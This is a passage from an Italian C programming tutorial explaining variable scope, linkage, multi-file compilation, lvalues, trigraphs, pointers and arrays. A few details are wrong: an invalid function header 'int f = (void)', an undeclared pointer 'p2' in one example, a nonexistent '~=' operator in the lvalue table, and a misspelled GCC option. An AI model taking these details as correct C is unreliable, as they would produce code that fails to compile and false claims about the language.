77.3.5 Campo di azione interno ai raggruppamenti di istruzioni

Le variabili dichiarate all'interno di raggruppamenti di istruzioni, ovvero all'interno di parentesi graffe, si comportano esattamente come quelle dichiarate all'interno delle funzioni: il loro campo di azione termina all'uscita dal blocco. L'esempio della figura successiva mostra un raggruppamento di istruzioni contenente la dichiarazione di una variabile automatica e di una «statica», con la descrizione dettagliata di ciò che accade, dentro e fuori dal raggruppamento.

Figura 77.125. Vita delle variabili all'interno dei raggruppamenti di istruzioni.

```
int f = (void)
{
    int i = 1;
    static j = 10;
    {
        int i = 2;
        i = (i * 2);
        static int j = 20;
        j++;
    }
    i = (i * 2);
    j++;
    return (i + j);
}
```


La dimostrazione serve a comprendere che, all'interno di una funzione, la posizione in cui si dichiara una variabile non è indifferente: in generale, per migliorare la leggibilità del codice, sarebbe bene dichiarare le variabili all'inizio delle funzioni, evitando accuratamente di farlo all'interno di raggruppamenti annidati.

77.3.6 Funzioni annidate

Così come esistono i raggruppamenti di istruzioni, all'interno dei quali la dichiarazione delle variabili ha un proprio campo di azione limitato, è possibile anche dichiarare delle sottofunzioni, accessibili solo all'interno delle funzioni stesse, dopo che sono state dichiarate. Queste sottofunzioni non possono avere uno specificatore di classe di memorizzazione e appartengono esclusivamente alla funzione che le contiene.

In generale, l'uso di sottofunzioni è sconsigliabile e, d'altra parte, originariamente non era permesso.

77.3.7 Visibilità, accessibilità, staticità

Va chiarita la distinzione che c'è tra la visibilità di una variabile e l'accessibilità al suo contenuto. Quando una funzione dichiara delle variabili automatiche o statiche con un certo nome, se questa funzione chiama a sua volta un'altra funzione che al suo interno fa uso di variabili con lo stesso nome, queste ultime non si riferiscono alla prima funzione. Si osservi l'esempio:

```
#include <stdio.h>
```

```
int x = 100;

int f (void)
{
    return x;
}

int main (int argc, char *argv[])
{
    int x = 7;
    printf ("x == %i\n", x);

    printf ("f() == %i\n", f());
    return 0;
}
```

Avviando questo programma si ottiene il testo seguente:

```
x == 7
f() == 100
```

In pratica, la funzione ***f()*** che utilizza la variabile ***x***, si riferisce alla variabile con quel nome, dichiarata esternamente alle funzioni, che risulta inizializzata con il valore 100, ignorando perfettamente che la funzione ***main()*** la sta chiamando mentre gestisce una propria variabile automatica con lo stesso nome. Pertanto, la variabile automatica ***x*** della funzione ***main()*** non è visibile alle funzioni che questa chiama a sua volta.

D'altra parte, anche se la variabile automatica ***x*** non risulta visibile, il suo contenuto può essere accessibile, dal momento della sua dichiarazione fino alla fine della funzione (ma questo richiede l'uso di puntatori, come descritto nella sezione 77.5). Alla fine dell'esecuzione della funzione, tutte le sue variabili automatiche perdono la propria identità, in quanto scaricate dalla pila dei dati, e il loro spazio di memoria può essere utilizzato per altri dati (per altre variabili automatiche di altre funzioni).

Si osservi che lo stesso risultato si otterrebbe anche se la variabile ***x*** della funzione ***main()*** fosse dichiarata come statica:

```
...
int main (int argc, char *argv[])
{
    static int x = 7;
    printf ("x == %i\n", x);

    printf ("f() == %i\n", f());
    return 0;
}
```

Le variabili statiche, siano esse dichiarate al di fuori o all'interno delle funzioni, hanno in comune il fatto che utilizzano la memoria dal principio alla fine del funzionamento del pro-

gramma, anche se dal punto di vista del programma stesso non sono sempre visibili. Pertanto, il loro spazio di memoria sarebbe sempre accessibile, anche se sono oscurate temporaneamente o se ci si trova fuori dal loro campo di azione, attraverso l'uso di puntatori. Naturalmente, il buon senso richiede di mettere la dichiarazione di variabili statiche al di fuori delle funzioni, se queste devono essere manipolate da più di una di queste.

Le variabili che utilizzano memoria dal principio alla fine dell'esecuzione del programma, ma non sono statiche, sono quelle variabili dichiarate all'esterno delle funzioni, per le quali il compilatore predispone un simbolo che consenta la loro identificazione nel file-oggetto. Il fatto di non essere statiche (ovvero il fatto di guadagnare un simbolo di riconoscimento nel file-oggetto) consente loro di essere condivise tra più file (intesi come unità di traduzione), ma per il resto valgono sostanzialmente le stesse regole di visibilità. Il buon senso stesso fa capire che tali variabili possano essere dichiarate solo esternamente alle funzioni, perché dentro le funzioni si usa prevalentemente la pila dei dati e perché comunque, ciò che è dichiarato dentro la funzione deve avere una visibilità limitata.

77.3.8 Compilazione di un progetto composto da più file

Viene riproposto l'esempio utilizzato più volte in questo capitolo, nella sua versione per due file, completandolo con una funzione ***main()***, in modo da poterlo compilare e dimostrare i passaggi necessari in situazioni del genere.

Listato 77.129. File '`a.c`'.

```
#include <stdio.h>

int f (int);
int i;

int g (void)
{
    i++;
    return f (i);
}

int main (void)
{
    printf ("valore originale di i = %i, ", i);
    printf ("valore restituito da g() = %i\n", g());
    printf ("valore originale di i = %i, ", i);
    printf ("valore restituito da g() = %i\n", g());
    printf ("valore originale di i = %i, ", i);
    printf ("valore restituito da g() = %i\n", g());
    return 0;
}
```

Listato 77.130. File '`b.c`'.

```
int f (int x)
{
    return (x * x);
}

int i = 1;
```

Disponendo di più file sorgenti separati, la compilazione avviene in due fasi: la generazione dei file oggetto e il «collegamento» (*link*) di questi in modo da ottenere un file eseguibile. Fortunatamente, tutto questo può essere gestito tramite lo stesso compilatore '**`cc`**'.

Per generare i file oggetto si utilizza '**`cc`**' con l'opzione '**`-c`**'; se si può disporre del compilatore GNU C, è meglio aggiungere anche l'opzione '**`-Wall`**'. Si suppone che il primo file sia stato nominato '`a.c`' e il secondo '`b.c`'. Si inizia dalla compilazione dei singoli file in modo da generare i file oggetto '`a.o`' e '`b.o`'.

`$` **`cc -Wall -c a.c`** [*Invio*]

`$` **`cc -Wall -c b.c`** [*Invio*]

Quindi si passa all'unione dei due risolvendo i riferimenti incrociati, generando il file eseguibile '**`prova`**'.

`$` **`cc -o prova a.o b.o`** [*Invio*]

Ecco cosa si dovrebbe vedere eseguendo il file che si ottiene dalla compilazione:

`$` **`./prova`** [*Invio*]

```
valore originale di i = 1, valore restituito da g() = 4
valore originale di i = 2, valore restituito da g() = 9
valore originale di i = 3, valore restituito da g() = 16
valore originale di i = 4, valore restituito da g() = 25
```

Per un uso migliore del compilatore si veda la parte 76.

77.3.9 Osservazioni sulla vita delle costanti letterali

Una costante letterale può essere gestita dal compilatore come meglio crede, ma quando si tratta di un'informazione che non può risiedere completamente in una parola del microprocessore e non si può collocare in un'istruzione del linguaggio macchina, è evidente che debba essere conservata nella memoria usata dal programma. Si osservi l'esempio seguente:

```
void f (void)
{
    char x[] = "ciao amore";
    printf ("%s\n", x);
}
```

L'array ***x[]***, o meglio, il puntatore che lo rappresenta, viene creato ogni volta alla chiamata della funzione ***f()*** e anche distrutto alla sua conclusione. Ma questo array viene inizializzato

ogni volta con una stringa prestabilita, la quale deve essere disponibile per tutto il tempo di funzionamento del programma. In altri termini, quella stringa è un array senza nome allocato in memoria dal principio dell'esecuzione del programma, pertanto al di fuori della pila dei dati.

77.3.10 Libreria standard e file di intestazione

La libreria standard del linguaggio C prevede la disponibilità di una serie di funzioni, macro del precompilatore e tipi di dati per usi specifici.

Dal punto di vista del programmatore, si ha la percezione della presenza di questa libreria attraverso l'inclusione dei «file di intestazione», ovvero di quei file che per tradizione hanno un nome che finisce per '`.h`' e si incorporano attraverso le direttive '**`#include`**' del precompilatore. Tuttavia, di norma le funzioni della libreria standard sono contenute in un file-oggetto già compilato (che può essere realizzato in forma differente, a seconda che serva per l'accesso dinamico alle funzioni, oppure che debba essere incorporato nel file eseguibile finale, come spiegato nella sezione 76.7), noto come libreria C, o solo Libc, che viene incluso automaticamente nella compilazione di un progetto, a meno di escluderlo espressamente.

Con il compilatore GNU C, per escludere l'utilizzo di qualunque libreria predefinita vanno usate le opzioni '**`-nostartfiles`**' e '**`-nodefaultlibs`**'; eventualmente l'opzione '**`-nostdlibs`**' dovrebbe valere per entrambe queste opzioni e può essere usata assieme a loro, benché sia ridondante.

Anche se la libreria C viene realizzata nel modo descritto, il concetto di libreria standard non si esaurisce nei file-oggetto che contengono le sue funzioni, perché rimane la necessità di dichiarare le macro del precompilatore, i tipi di dati che fanno parte dello standard complessivo, ma soprattutto i prototipi delle funzioni che compongono la libreria. Pertanto, i file di intestazione rimangono indispensabili e fanno parte integrante della libreria.

A titolo dimostrativo, si può osservare il programma seguente che, pur facendo uso della libreria standard, in quanto si sfrutta la funzione ***printf()***, non incorpora alcun file di intestazione. In tal caso, però, è indispensabile dichiarare il prototipo della funzione utilizzata:

```
extern int printf (const char *format,...);

int main (void)
{
    printf ("Ciao a tutti!\n");
    return 0;
}
```

77.4 Annotazioni sulla terminologia

I documenti che descrivono lo standard del linguaggio C utilizzano una terminologia specifica. Qui si descrivono alcuni di quei termini con delle annotazioni riguardo al contesto a cui si riferiscono.

77.4.1 Parametri e argomenti

Generalmente, i termini «argomento» e «parametro», riferiti alle funzioni o alle procedure dei linguaggi di programmazione, vengono usati in modo intercambiabile, benché si intuisca una differenza tra i due. Lo standard C chiarisce l'ambito corretto di utilizzo per entrambi: i valori annotati in una chiamata di funzione sono gli argomenti attuali; le variabili che descrivono formalmente ciò che una funzione deve ricevere dall'esterno sono i parametri formali.

Figura 77.134. Distinzione tra parametri e argomenti.

parametro formale
formal parameter

```
int potenza (int x, int y)
```

dichiarazione della funzione o del prototipo

argomento attuale
actual argument

```
z = potenza (x, 3)
```

chiamata della funzione

77.4.2 Byte e caratteri

Secondo il linguaggio C, il byte è l'unità di memorizzazione più piccola che possa essere utilizzata per contenere un carattere, tra quelli dell'insieme minimo. Pertanto, per definizione, il tipo '**`char`**' (indifferentemente se con o senza segno) occupa esattamente un byte.

In pratica, per il linguaggio C il byte non è necessariamente un insieme di otto bit, anche se di norma questa corrispondenza è valida.

Va considerato anche che il tipo '**`char`**', senza altre indicazioni, può essere inteso come valore con segno o senza segno, a seconda della piattaforma. Tuttavia, come punto fermo, l'insieme di caratteri minimo deve essere rappresentabile con valori positivi. In pratica, di norma questo insieme minimo di caratteri corrisponde alla codifica ASCII, la quale si rappresenta completamente con 7 bit, pertanto l'ottavo bit di un byte standard potrebbe essere usato come segno, senza interferire con l'interpretazione corretta dei caratteri. In altri termini, per utilizzare il tipo '**`char`**' in modo compatibile da una piattaforma all'altra, questo va considerato solo per i valori utili alla rappresentazione dell'insieme di caratteri minimo, con i quali si ha la certezza di avere a che fare sempre solo con valori positivi.

77.4.3 Unità di traduzione

Il file generato dal precompilatore, formato normalmente dall'incorporazione di diversi file, viene definito una ***unità di traduzione***. Il concetto di «traduzione» deriva dal fatto che il precompilatore, oltre a incorporare altri file, traduce le macro-variabili e le macro-istruzioni espandendole secondo la loro dichiarazione; pertanto, i file sorgenti originali subiscono una prima trasformazione che produce il codice C vero e proprio.

Quando si fa riferimento al campo di azione delle variabili definite al di fuori delle funzioni, si afferma che questo riguarda l'ambito del file. In tal caso, per file si intende l'unità di traduzione.

77.4.4 «Linkage»

Quando si fa riferimento a variabili o funzioni che sono dichiarate esternamente a tutte le funzioni, il campo di azione è legato al file (nel senso di unità di traduzione), essendo accessibili solo a partire dalla dichiarazione stessa. Quando si combinano assieme più file attraverso il meccanismo del «collegamento» (*link*), il programma che esegue questo compito tratta i nomi uguali di variabili e di funzioni nel senso di un riferimento alla stessa cosa (la stessa variabile o la stessa funzione). Quando una variabile o una funzione è dichiarata in modo tale da consentire questo collegamento, si ha un ***linkage esterno***; quando la dichiarazione è tale da impedirlo (con lo specificatore di classe di memorizzazione '**`static`**'), si ha un ***linkage interno***.

Si può rendere esplicito che una variabile o una funzione sono da cercarsi al di fuori del proprio file, oppure in una posizione più avanzata dello stesso file, richiedendo un *linkage esterno* con lo specificatore di classe di memorizzazione '**`extern`**'. In tal caso, si può collegare esternamente anche una variabile indicata all'interno di una funzione o di un altro tipo di blocco, sempre con lo specificatore '**`extern`**'.

Le variabili che, diversamente, sono dichiarate all'interno di un blocco di qualunque genere, non sono collegabili, soprattutto nel caso delle variabili automatiche, la cui vita dipende dal blocco in cui sono contenute.

77.4.5 Durata di memorizzazione

Nella documentazione standard si usa spesso il termine *storage duration*, ovvero ***durata di memorizzazione***, per fare riferimento al tempo di vita di una certa informazione contenuta in memoria.

Di norma si possono distinguere due casi fondamentali: ciò che viene memorizzato in un'area di memoria sempre disponibile (anche se non è detto che a ogni parte del programma sia consentito di accedervi) e ciò che si mette nella pila dei dati. Nel primo caso di parla di *static storage duration*, in quanto i dati stanno lì e non si muovono; nel secondo si parla di *automatic storage duration*, in quanto la memoria della pila viene liberata e riutilizzata in modo dinamico.

È per questa ragione che, nella dichiarazione delle variabili all'interno delle funzioni, esiste lo specificatore di classe '**`static`**', a indicare una variabile che, pur essendo accessibile solo all'interno della funzione, va collocata al di fuori della pila dei dati, in modo da conservare il proprio contenuto durante le chiamate successive della stessa funzione.

77.4.6 «Lvalue» e «rvalue»

Nello standard del linguaggio C, il termine *lvalue* indica, approssimativamente, ciò che appare a sinistra di un operatore di assegnamento, nelle condizioni per cui ciò è ammissibile. Per esempio, nell'espressione seguente, la variabile ***x*** rappresenta un *lvalue*:

```
x = 3;
```

L'espressione seguente, invece, **non è valida**, perché la costante '**`3`**' non può essere un *lvalue*:

```
3 = x;  // Non è valida, perché «3» non è un «lvalue».
```

Il termine poteva significare, originariamente, *left-value*, da contrapporsi a un possibile *right-value*, costituito da ciò che in un'espressione si trova alla destra dell'operatore di assegnamento. Tuttavia, lo standard attuale definisce la sigla in questione un *location value*, ovvero un'espressione che si riferisce a un'area di memorizzazione.

Un'espressione che sia un *lvalue* deve anche consentire la lettura dell'area di memorizzazione a cui si riferisce; pertanto, ciò che è un *lvalue* deve poter essere usato alla destra di un operatore di assegnamento (in qualità di *rvalue*). D'altra parte, non è garantito che un *lvalue* individui sempre un'area di memorizzazione modificabile, dal momento che esistono variabili qualificate come costanti, alle quali si assegna un valore in fase di dichiarazione, ma successivamente non è più consentita la modifica. Per distinguere anche questa situazione, volendo escludere il caso delle costanti, si specifica che l'espressione *lvalue* deve anche essere modificabile.

Tabella 77.137. Operatori che richiedono un operando di tipo *lvalue*. In tutti i casi, escluso '`&`***lvalue***', deve trattarsi di un ***lvalue*** modificabile in quel contesto.

Parola chiave	Descrizione
`&`***lvalue***	Indirizzo di ***lvalue***.
`++`***lvalue*** ***lvalue***`++` `--`***lvalue*** ***lvalue***`--`	Incremento e decremento.
lvalue`=`***rvalue*** ***lvalue***`+=`***rvalue*** ***lvalue***`-=`***rvalue*** ***lvalue***`*=`***rvalue*** ***lvalue***`%=`***rvalue*** ***lvalue***`<<=`***rvalue*** ***lvalue***`>>=`***rvalue*** ***lvalue***`&=`***rvalue*** ***lvalue***`^=`***rvalue*** ***lvalue***`|=`***rvalue*** ***lvalue***`~=`***rvalue***	Assegnamenti.

Attualmente, lo standard C, al posto di *rvalue*, preferisce esprimere il concetto come «valore di un'espressione».

77.4.7 «Digraph» e «Trigraph»

In varie situazioni lo standard C consente l'utilizzo di sequenze speciali di caratteri, in sostituzione di simboli che in certi contesti potrebbero mancare, essendo invece indispensabili. In generale, quando per la scrittura dei file sorgenti si può contare su un insieme di caratteri pari a quello della codifica ASCII, queste sequenze speciali non vanno usate assolutamente, perché complicano terribilmente la lettura dei file. A ogni modo, conviene essere a conoscenza della loro esistenza e del significato che assumono.

<table>
<tr><th>Digraph</th><th>Trigraph</th><th>Carattere corrispondente</th></tr>
<tr><td><code><:</code></td><td><code>??(</code></td><td>[</td></tr>
<tr><td><code>:></code></td><td><code>??)</code></td><td>]</td></tr>
<tr><td><code><%</code></td><td><code>??<</code></td><td>{</td></tr>
<tr><td><code>%></code></td><td><code>??></code></td><td>}</td></tr>
<tr><td><code>%:</code></td><td><code>??=</code></td><td>#</td></tr>
<tr><td><code>%:%:</code></td><td><code>??=??=</code></td><td>##</td></tr>
<tr><td></td><td><code>??!</code></td><td>|</td></tr>
<tr><td></td><td><code>??'</code></td><td>^</td></tr>
<tr><td></td><td><code>??/</code></td><td>\</td></tr>
<tr><td></td><td><code>??-</code></td><td>~</td></tr>
</table>

77.5 Puntatori, array, stringhe e allocazione dinamica della memoria

All'inizio del capitolo sono stati mostrati solo i tipi di dati più semplici. Per poter utilizzare gli array si gestiscono dei puntatori alle zone di memoria contenenti tali strutture.

Quando si ha a che fare con i puntatori è importante considerare che il modello di memoria che si ha di fronte è un'astrazione, nel senso che una struttura di dati appare idealmente continua, mentre nella realtà il compilatore potrebbe anche provvedere a scomporla in blocchi separati.

Nella spiegazione che si fa qui, come nelle altre sezioni del capitolo, l'esposizione è semplificata rispetto alle definizioni dello standard; pertanto, per un approccio più preciso ci si deve rivolgere ai documenti ufficiali sul linguaggio C.

77.5.1 Espressioni a cui si assegnano dei valori

Quando si utilizza un operatore di assegnamento, come '`=`' o altri operatori composti, ciò che si mette alla sinistra rappresenta la «variabile ricevente» del risultato dell'espressione che si trova alla destra dell'operatore (nel caso di operatori di assegnamento composti, l'espressione alla destra va considerata come quella che si ottiene scomponendo l'operatore). Ma il linguaggio C consente di rappresentare quella «variabile ricevente» attraverso un'espressione, come nel caso dei puntatori che vengono descritti in questo capitolo. Pertanto, per evitare confusione, la documentazione dello standard chiama l'espressione a sinistra dell'operatore di assegnamento un *lvalue* (*Left value* o *Location value*).

Nel capitolo si evita questa terminologia, tuttavia è importante comprendere che un'espressione può rappresentare una «variabile», pur senza averle dato un nome (nella sezione 77.4.6 il concetto di *lvalue* e di *rvalue* viene descritto con migliore dettaglio).

77.5.2 Puntatori

Una variabile, di qualunque tipo sia, rappresenta normalmente un valore posto da qualche parte nella memoria del sistema.[19] Quando si usano i tipi di dati normali, è il compilatore a prendersi cura di tradurre i riferimenti agli spazi di memoria rappresentati simbolicamente attraverso dei nomi.

Attraverso l'operatore di indirizzamento e-commerciale ('`&`'), è possibile ottenere il puntatore (riferito alla rappresentazione ideale di memoria del linguaggio C) a una variabile «normale». Tale valore può essere inserito in una variabile particolare, adatta a contenerlo: una ***variabile puntatore***.

Per esempio, se ***p*** è una variabile puntatore adatta a contenere l'indirizzo di un intero, l'esempio mostra in che modo assegnare a tale variabile il puntatore alla variabile ***i***:

```
int i = 10;
…
p = &i;  // L'indirizzo di «i» viene assegnato al puntatore «p».
```

La dichiarazione di una variabile puntatore avviene in modo simile a quello delle variabili normali, con l'aggiunta di un asterisco prima del nome. L'esempio seguente dichiara la variabile ***p*** come puntatore a un tipo '`int`'. Si osservi che va indicato il tipo di dati a cui si punta, perché questa informazione è parte integrante del puntatore.

```
int *p;
```

Non deve essere interesse del programmatore il modo esatto in cui si rappresentano i puntatori dei vari tipi di dati, diversamente non ci sarebbe l'utilità di usare un linguaggio come il C invece di un semplice assemblatore di linguaggio macchina.

Una volta dichiarata la variabile puntatore, questa viene utilizzata normalmente, senza asterisco, finché si intende fare riferimento al puntatore stesso.

L'asterisco usato nella dichiarazione serve a definire il tipo di dati, quindi, '`int *p`' rappresenta la dichiarazione della variabile ***p*** di tipo '`int *`'. Tuttavia si può fare un ragionamento leggermente differente, con l'aiuto delle parentesi: '`int (*p)`' è la dichiarazione di una zona di memoria senza nome, di tipo '`int`', a cui punta la variabile ***p*** attraverso la dereferenziazione ****p***. Le due cose sono equivalenti, in quanto portano comunque alla creazione della variabile ***p*** di tipo puntatore a intero, ma la seconda forma consente di comprendere, successivamente, la sintassi per la creazione di un puntatore a funzione.

È importante chiarire subito in che modo si dichiarano più variabili puntatore con una sola istruzione; si osservi l'esempio seguente in cui si creano le variabili ***p*** e ***p2***, in particolare per il fatto che l'asterisco va ripetuto:

```
int *p, *p2;
```

Attraverso l'operatore di «dereferenziazione», l'asterisco ('`*`'), è possibile accedere alla zona di memoria a cui la variabile punta. Per «dereferenziare» si intende quindi l'azione con cui si toglie il riferimento e si raggiungono i dati a cui un puntatore si riferisce.[20]

Attenzione a non fare confusione con gli asterischi: una cosa è quello usato per dichiarare o per dereferenziare un puntatore e un'altra è l'operatore con cui invece si ottiene la moltiplicazione.

L'esempio già accennato potrebbe essere chiarito nel modo seguente, dove si mostra anche la dichiarazione della variabile puntatore:

```
int i = 10;
int *p;
...
p = &i;
```

A questo punto, dopo aver assegnato a ***p*** il puntatore alla variabile ***i***, è possibile accedere alla stessa area di memoria in due modi diversi: attraverso la variabile ***i***, oppure attraverso la dereferenziazione di ***p***, ovvero la traduzione ****p***.

```
int i = 10;
int *p;
...
p = &i;
...
*p = 20;
```

Nell'esempio, l'istruzione '`*p=20`' è tecnicamente equivalente a '`i=20`'. Per chiarire un po' meglio il ruolo delle variabili puntatore, si può complicare l'esempio nel modo seguente:

```
int i = 10;
int *p;
int *p2;
...
p = &i;
...
p2 = p;
...
*p2 = 20;
```

In particolare è stata aggiunta una seconda variabile puntatore, ***p2***, solo per fare vedere che è possibile passare un puntatore anche ad altre variabili senza dover usare l'asterisco. Comunque, in questo caso, '***p2*=20**' è tecnicamente equivalente sia a '***p*=20**', sia a '***i*=20**'.

Si osservi che l'asterisco è un operatore che, evidentemente, ha la precedenza rispetto a quelli di assegnamento. Eventualmente, anche in questo caso si possono usare le parentesi per togliere ambiguità al codice:

```
int i = 10;
int *p;
...
p = &i;
...
(*p2) = 20;
```

Come accennato inizialmente, il tipo di dati a cui un puntatore si rivolge, fa parte integrante del puntatore stesso. Ciò è importante perché quando si dereferenzia un puntatore occorre sapere quanto è grande l'area di memoria a cui si deve accedere a partire dal puntatore. Per questa ragione, quando si assegna a una variabile puntatore un altro puntatore, questo deve essere compatibile, nel senso che deve riferirsi allo stesso tipo di dati, altrimenti si rischia di ottenere un risultato inatteso. A questo proposito, l'esempio seguente contiene probabilmente un errore:

```
char *pc;
int  *pi;
...
pi = pc;  // I due puntatori si riferiscono a dati di tipo differente!
...
```

Quando invece si vuole trasformare realmente un puntatore in modo che si riferisca a un tipo di dati differente, si può usare un cast, come si farebbe per convertire i valori numerici:

```
char *pc;
int  *pi;
...
pi = (int *) pc;  // Il programmatore dimostra di essere consapevole
                  // di ciò che sta facendo attraverso un cast!
...
...
```

Nello schema seguente appare un esempio che dovrebbe consentire di comprendere la differenza che c'è tra i puntatori, in base al tipo di dati a cui fanno riferimento. In particolare, ***p1***, ***q1*** e ***r1*** fanno tutti riferimento all'indirizzo ipotetico $0AFC_{16}$, ma l'area di memoria che considerano è diversa, pertanto ****p1***, ****q1*** e ****r1*** sono tra loro «variabili» differenti, anche se si sovrappongono parzialmente.

indirizzi di memoria ipotetici: 0AFC, 0AFD, 0AFE, 0AFF, 0B00, 0B001, 0B002

li, si, c — *p1, *p2, *p3 — *q1, *q2 — *r1

```
long int li;
short int si;
char c;

long int *p1 = &li;
short int *p2 = &si;
char *p3 = &c;

short int *q1 = (short int *) &li;
char *q2 = (char *) &si;

char * r1 = (char *) &li;
```

L'esempio seguente rappresenta un programma completo che ha lo scopo di determinare se l'architettura dell'elaboratore è di tipo *big endian* o di tipo *little endian*. Per capirlo si dichiara una variabile di tipo '**`long int`**' che si intende debba essere di rango superiore rispetto al tipo '**`char`**', assegnandole un valore abbastanza basso da poter essere rappresentato anche in un tipo '**`char`**' senza segno. Con un puntatore di tipo '**`char *`**' si vuole accedere all'inizio della variabile contenente il numero intero '**`long int`**': se già nella porzione letta attraverso il puntatore al primo «carattere» si trova il valore assegnato alla variabile di tipo intero, vuol dire che i byte sono invertiti e si ha un'architettura *little endian*, mentre diversamente si presume che sia un'architettura *big endian*.

```
#include <stdio.h>
int main (void)
{
    long int i = 123;
    char *p = (char *) &i;
    if (*p == 123)
      {
        printf ("little endian\n");
      }
    else
      {
        printf ("big endian\n");
      }
    return 0;
}
```

Figura 77.150. Schematizzazione dell'operato del programma di esempio, per determinare l'ordine dei byte usato nella propria architettura.

Il linguaggio C utilizza il passaggio degli argomenti alle funzioni per valore; per ottenere il passaggio per riferimento occorre utilizzare dei puntatori. Si immagini di volere realizzare una funzione banale che modifica la variabile utilizzata nella chiamata, sommandovi una quantità fissa. Invece di passare il valore della variabile da modificare, si può passare il suo puntatore; in questo modo la funzione (che comunque deve essere stata realizzata appositamente per questo scopo) agisce nell'area di memoria a cui punta questo puntatore.

```
...
void funzione_stupida (int *x)
{
    (*x)++;
}
...
int main (void)
{
    int y = 10;
    ...
    funzione_stupida (&y);
    ...
    return 0;
}
```

L'esempio mostra la dichiarazione e descrizione di una funzione che non restituisce alcun valore e ha un parametro costituito da un puntatore a un intero. Il lavoro della funzione è solo quello di incrementare il valore contenuto nell'area di memoria a cui si riferisce tale puntatore.

Poco dopo, nella funzione ***main()*** inizia il programma vero e proprio; viene dichiarata la variabile ***y*** corrispondente a un intero normale inizializzato a 10, poi, a un certo punto viene chiamata la funzione vista prima, passando il puntatore a ***y***.

Il risultato è che dopo la chiamata, la variabile ***y*** contiene il valore precedente incrementato di un'unità.

Quando si usano i puntatori, invece delle variabili comuni, occorre considerare che se la vita della variabile a cui un puntatore fa riferimento si è esaurita, il puntatore relativo diventa privo di valore. Questo significa che il fatto di avere conservato il puntatore a una certa area di memoria **non** implica automaticamente la garanzia che tale zona contenga dati validi o che sia ancora raggiungibile.

77.5.3 Array

Nel linguaggio C, l'array è una sequenza ordinata di elementi dello stesso tipo nella rappresentazione ideale di memoria di cui si dispone. In questo senso, quando si dichiara un array, quello che il programmatore ottiene in pratica è il riferimento alla posizione iniziale di questo, mentre gli elementi successivi si raggiungono tenendo conto della lunghezza di ogni elemento.

Questo ragionamento vale in senso generale ed è un po' approssimativo. In contesti particolari, il riferimento a un array restituisce qualcosa di diverso dal puntatore al primo elemento.

Visto in questi termini, si può intendere che l'array in C è sempre a una sola dimensione, tutti gli elementi devono essere dello stesso tipo in modo da avere la stessa lunghezza e la quantità degli elementi, una volta definita, è fissa.

È compito del programmatore ricordare la quantità di elementi che compone l'array, perché determinarlo diversamente è complicato e a volte non è possibile. Inoltre, quando un programma tenta di accedere a una posizione oltre il limite degli elementi esistenti, c'è il rischio che non si verifichi alcun errore, arrivando però a dei risultati imprevedibili.

Lo standard prescrive che sia consentito raggiungere l'indirizzo successivo all'ultimo elemento, anche se tale contenuto diventa privo di significato. Ciò serve a garantire che non si provochino errori nell'accesso alla memoria, se l'indice va oltre il limite di un array, ma per una sola posizione, per leggere un contenuto privo di utilità. In pratica, ciò significa che dopo un array ci deve essere qualunque altra variabile, o al limite uno spazio inutilizzato. Ma questo è compito del compilatore.

La dichiarazione di un array avviene in modo intuitivo, definendo il tipo degli elementi e la loro quantità. L'esempio seguente mostra la dichiarazione dell'array ***a*** di sette elementi di tipo '**`int`**':

```
int a[7];
```

Per accedere agli elementi dell'array si utilizza un indice, il cui valore iniziale è sempre zero e, di conseguenza, quello con cui si raggiunge l'elemento ***n***-esimo deve avere il valore $n-1$. L'esempio seguente mostra l'assegnamento del valore 123 al **secondo** elemento:

```
a[1] = 123;
```

In presenza di array monodimensionali che hanno una quantità ridotta di elementi, può essere sensato attribuire un insieme di valori iniziale all'atto della dichiarazione.

Alcuni compilatori consentono l'inizializzazione degli array solo quando questi sono dichiarati all'esterno delle funzioni, con un campo di azione globale, oppure all'interno delle funzioni, ma dichiarati come «statici», nel senso che continuano a esistere all'uscita della funzione.

```
int a[] = {123, 453, 2, 67};
```

L'esempio mostrato dovrebbe chiarire in che modo si possono dichiarare gli elementi dell'array, tra parentesi graffe, togliendo così la necessità di specificare la quantità di elementi. Tuttavia, le due cose possono coesistere:

```
int a[10] = {123, 453, 2, 67};
```

In tal caso, l'array si compone di 10 elementi, di cui i primi quattro con valori prestabiliti, mentre gli altri ottengono il valore zero. Si osservi però che il contrario non può essere fatto:

```
int a[5] = {123, 453, 2, 67, 32, 56, 78};     // Non si può!
```

Gli standard recenti del linguaggio C consentono anche la dichiarazione di array per i quali il compilatore non può sapere subito la quantità di elementi da predisporre, **purché ciò avvenga nel campo di azione delle funzioni** (o di blocchi inferiori). In pratica, in questi casi è possibile indicare la quantità di elementi attraverso un'espressione che si traduca in un numero intero, come nell'esempio seguente, dove la quantità di elementi è data dal prodotto tra la variabile ***s*** e la costante 3:

```
int s = 33;
…
int a[s * 3];
```

Gli array dichiarati al di fuori delle funzioni (quelli il cui campo di azione è legato al file) e quelli che, pur essendo dichiarati nelle funzioni, continuano a esistere per tutto il tempo di esecuzione del programma (in quanto «statici»), possono avere soltanto una quantità di elementi già stabilita in fase di compilazione. Per fare riferimento a array definiti in altri file, oppure in posizioni più avanzate dello stesso file, è possibile usare una dichiarazione «esterna», nella quale è bene specificare la quantità di elementi, ma questa deve essere coerente con quella della dichiarazione a cui si fa riferimento:

```
extern int i[3];
…
int i[3];
```

In alternativa si può fare una dichiarazione esterna di un array senza specificarne la quantità di elementi, ma questo implica che, fino a quando non appare la dichiarazione completa, l'array sia di tipo incompleto e non si possa determinare la sua dimensione con l'aiuto dell'operatore '**`sizeof`**':

```
extern int i[];         // Tipo incompleto.
…
int i[3];
```

La scansione di un array avviene generalmente attraverso un'iterazione enumerativa, in pratica con un ciclo '**`for`**' che si presta particolarmente per questo scopo. Si osservi l'esempio seguente:

```
int a[7];
int i;
…
for (i = 0; i < 7; i++)
  {
    …
    a[i] = …;
    …
  }
```

L'indice ***i*** viene inizializzato a zero, in modo da cominciare dal primo elemento dell'array; il ciclo può continuare fino a che ***i*** continua a essere inferiore a sette, infatti l'ultimo elemento dell'array ha indice sei; alla fine di ogni ciclo, prima che riprenda il successivo, viene incrementato l'indice di un'unità.

Per scandire un array in senso opposto, si può agire in modo analogo, come nell'esempio seguente:

```
int a[7];
int i;
…
for (i = 6; i >= 0; i--)
  {
    …
    a[i] = …;
    …
  }
```

Questa volta l'indice viene inizializzato in modo da puntare alla posizione finale; il ciclo viene ripetuto fino a che l'indice è maggiore o uguale a zero; alla fine di ogni ciclo, l'indice viene decrementato di un'unità.

Se non si può conoscere la dimensione dell'array, questa deve essere calcolata con l'ausilio dell'operatore '**`sizeof`**', come nell'esempio seguente, ammesso che il contesto sia tale da consentire all'operatore di restituire un valore valido:

```
// Da qualche parte si dichiara il valore di «x» come numero intero.
…
int a[7 * x];
int i;
…
